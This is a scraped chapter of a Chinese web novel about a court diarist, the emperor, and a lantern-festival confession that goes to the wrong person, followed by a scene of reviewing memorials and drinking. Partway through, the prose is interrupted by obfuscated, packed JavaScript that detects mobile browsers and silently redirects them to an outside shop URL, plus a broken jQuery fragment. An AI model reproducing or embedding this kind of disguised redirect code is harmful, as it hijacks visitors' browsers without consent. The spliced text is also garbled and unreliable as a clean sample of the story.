文趣网 > 其他小说 > 起居郎总是睡不醒 > 15. 玉新的感情
    江南枝露出八颗牙齿,镇定道:“你花灯再不放,我可就要走了。”

    闻言,玉新更不敢耽搁,说:“少爷,我就一盏花灯,很快的。”

    说完还真怕人走了,立马蹲在地,嘴唇不停的念叨,闭着眼比江南枝还要诚恳。

    江南枝弯腰凑近,隐约听到个“萧”。

    “萧什么?”江南枝低语。

    玉新吓了一跳,说:“少爷,您怎么偷听。”

    “是你太慢,灯谜都开始敲锣了。”江南枝又说:“所以萧什么?”

    玉新一羞,嗔怪了声少爷,放了花灯走在前头开路。

    江南枝和赵序走在身后,赵序说:“看来你这个做主子的,快要给他筹备婚事迎妻了。”

    “太久不在府,都不知道他都有心上人了。”江南枝感慨说:“我们一起长大,他就和我亲弟弟没区别。”

    赵序:“春假之后要去一趟祁念寺,允你带上他去求一签姻缘签。”

    祁念寺是上京城最有名的佛寺,说是十分灵验,但从赵序上位后,就只对皇家开放。

    里面的住持更是神秘,从不露面,只有每年的皇上亲临才会出面,能借到龙运求一签,再有住持亲自解签,是天大的恩赐。

    江南枝笑开颜,捧了一路赵序的话。

    猜灯谜在情人会最中间,早早围上来人流,江南枝等人赶到时正好刚刚开始。

    百姓为了灯花灯尽脑汁,就为得到花灯。

    花灯各个精致美丽,而在最高处脱颖而出,是鹊桥的形状,灯火一晃,里面两人的影子栩栩如生,让人离不开眼睛,江南枝都不由感叹一声,现在民间的手艺当真越来越出彩了。

    丝毫不逊色于宫中所用之物,甚至还要更好一些,毕竟宫中总是有很多禁忌。

    情人会的灯节与平时的灯节有着区别,江南枝也是刚注意,猜灯谜的环节,全都变成了情诗对句。

    吸引过去的都是为讨心上人欢喜,追求浪漫的文人墨客。

    江南枝:“这老板真是会做生意。”

    “感兴趣?”赵序问,江南枝一心找着孙宛的位置,并没听见他说话。

    赵序扭头看他,凑近了些,叫人:“江南枝。”

    温热的呼吸蹭着耳畔,江南枝感受到了痒,才回了他的话:“还好吧,看人对诗挺有意思的。”

    普通的花灯被拿走不少,只留下三两个给中间的作衬。

    江南枝不断地找着话题,生怕赵序感到无聊,或者察觉到什么。

    终于,在最后一盏普通花灯被带走,琴音从屏风后面传出,悠扬的曲调,屏风从中被人推开,台上那盏灯王被取下,孙宛出现在人前。

    曲子弹出两句,江南枝就听出是鹊桥,是个经典的民间爱情曲目。

    此刻江南枝和赵序一行人,站在台下正中间。

    终于要来了。

    暗暗观察着赵序的神色,后者只是少许的好奇,以及事不关己的看戏模样。

    等下上去的就是你了。江南枝想。

    然而琴音落下,孙宛的视线只落在赵序身上一瞬,就瞥开了眼。

    台侧衣着亮色的少年皱着眉头上前,孙宛背对着他,脚步声停下提着花灯转身,说:“你来了。”

    江南枝看清那人长相,怎么会是萧筠臬。

    萧筠臬就是前段时间新来的起居郎,江南枝没见过几面,也没对过话,只是和徐一远聊过。

    可今日不是太后为孙宛和赵序安排的吗?

    什么情况?

    萧筠臬嘴唇抿成一条线,在百姓的打趣欢呼中,脸色越来越难看,说:“孙小姐,今日你叫我前来。”

    孙宛打断道:“臬哥,我喜欢你。”

    江南枝大大的眼睛,满是震惊不解。

    震惊于孙宛的大胆,不解的是她搞错人了吧。

    萧筠臬眉眼舒展,轻松一笑,说:“你与家妹关系好,照顾你是应该的,臬哥也喜欢你,亏得你还记得哥今日要花灯用。”

    孙宛眸光黯淡一瞬,知道萧筠臬这是在拒绝自己,又不想闹得难看,撑着笑递过花灯,说:“臬哥说的话我记得,只是这花灯不适合我送给臬哥,回头我换个给你。”

    鹊桥,情人。

    台下的人觉得奇怪,孙宛是孙家贵女,这么当众被拒绝,越是找补越是显得可笑和可怜。

    萧筠臬上手直接拿过花灯,说:“这有什么的,本就是哥让你替我准备的,你也知道的,我和玉新能不能成就看这盏灯。”

    从萧筠臬上去,玉新的神态就不对劲,此刻自己的名字出现,震惊的张开嘴。

    台下更是热闹,从孙宛的身上,转移到萧筠臬的身上。

    “玉新是谁家姑娘啊?”

    “什么姑娘,那是后街家的大儿子,从小爹娘没了,被太傅府捡走做小厮了。”

    “小厮?男人?这人居然喜欢男人。”

    短短一刻,发生的事情太杂,江南枝头疼的很,他终于知道玉新刚才口中的‘萧’是谁了。

    “你的弟媳原来是弟婿。”赵序被民间的热闹吸引,感叹了句:“精彩。”

    江南枝扯着嘴角。

    好一会儿,萧筠臬才注意到,正下方仰头看他的人是玉新。

    “筠臬……”玉新口中干涩,本来话就不多,此刻更是不知该说些什么。

    折扇一展遮着赵序的脸,露出一双狭长的双眼,眉毛单挑,对着江南枝侧耳道:“人越来越多了,留下他们自己处理吧。”

    人多眼杂,此次赵序出行,暗中护卫没有多少,能低调自然要低调,现在注意力都在这边,对他的安危很是不友好。

    江南枝走前,拍了拍玉新的肩膀,感觉人都苍老了许多,说:“你的感情你自己处理,不管你答不答应,或者找男找女,我都支持你。”

    话落,江南枝一刻也没有多留,灵巧的牵着赵序,顺着人群逆流挤出去。

    玉新是个傻小子,谁对他好三分,自己就拿出十分的真心对人,怎么说也是从小一起长大,江南枝拿他当弟弟对待,若是早发现俩人有情况……

    他就该好好探探这人的底细。

    热闹看完了,所谓情人会也逛完了,赵序心满意足,一直到批折子签都勾着嘴角。

    江南枝看着他的脸又开始叹气。

    好消息:赵序完全没发现这是为他策划的。

    坏消息:……太多了。

    孙宛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875130|212371||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想来也是不愿太后的安排的,才会选择今日这样做,现在好,不仅赵序和孙宛彻底没戏,还因为这么一搅和,太傅府又成饭后闲谈了。

    “在这么心不在焉,就过来替朕读折子。”赵序发话。

    江南枝起身一本接着一本给他读,赵序阖着眼靠着龙椅。

    江南枝递上折子和手笔,就等着赵序睁眼批阅。

    一秒。

    两秒。

    第三秒的时候,赵序终于给了态度,慷慨的说了字:“阅。”

    阅?阅什么?

    这折子也不是声控的,总不能您说个字这笔就自己在上面印个字吧。

    江南枝心里吐槽。

    等等,声控是什么?

    江南枝总感觉这个词很熟悉,又想不起来是什么意思,也不记得在哪听过。

    赵序:“愣什么神,你不写难道指望着笔自己动?”

    “这……微臣哪敢写。”江南枝说:“代笔也要圆公公来啊。”

    说着,江南枝疯狂对小圆子使眼神。

    小圆子刚上前,赵序又开口道:“他字丑,就你来。”

    小圆子不解,从前都是他来写的啊,文武百官不都习惯了吗?难道说有人和赵序讲究过他的字?

    真是人心险恶!防不胜防!

    皇上发话,江南枝也不能在拒绝,防着赵序的字迹,标准的写了个阅字。

    收好同被批好的折子放在一起。

    刚刚批的折子居然还是江延清的……

    儿子给老子披个阅。

    不会被雷劈吧。

    难得赵序批完折子精气神还这么足,倒是江南枝嘴唇干涩像是缺水很久的鱼。

    小圆子:“皇上今天状态可真好,还得是江大人做事利索,整理的折子那叫一个规整。”

    江南枝牵动嘴角,说:“圆公公缪赞。”

    “江爱卿不愧是朕的爱卿。”赵序吩咐道:“小圆子,去取两坛花酒,今日朕同爱卿喝几盏。”

    花酒好啊,喝点花酒解乏。

    前提是不和皇上喝。

    赵序退了养心殿内宫人,只剩两人,总归还在春假,不用早起,可以‘酣畅淋漓’的大喝一场。

    江南枝倒酒时,花酒的香味配着酒香沁入心脾。

    讲真的,他是有点心动的。

    “皇上,臣这杯敬您。”江南枝双手端着酒杯,耐心等着赵序拿杯饮进,喝的那叫一个潇洒豪迈,倒不像品花酒,而是灌烈酒。

    见状,江南枝也没一点点抿,三口喝不下这一指高的酒,开始学着赵序一口饮进。

    “咳咳咳。”江南枝拍着胸脯,脸颊泛起红,辣的眼泪在打转,好一会儿才说:“皇上这酒当真是好酒,闻着香气扑鼻,喝进去倒是和烈酒有的一拼。”

    赵序笑了,自己给自己满上一杯,同时也不忘提醒江南枝给自己倒酒,说:“这酒是边疆将士弄的,从前他们大口喝酒大口吃肉,后来见京城文人雅士都喝不咸不淡的花酒,便说也讲究讲究,就弄着了几坛,你不行就少喝些。”

    “行!谁说的不行?”江南枝冒金星的眼睛飘飘然,说:“皇上,男人不能说不行。”

    赵序:“……呵。”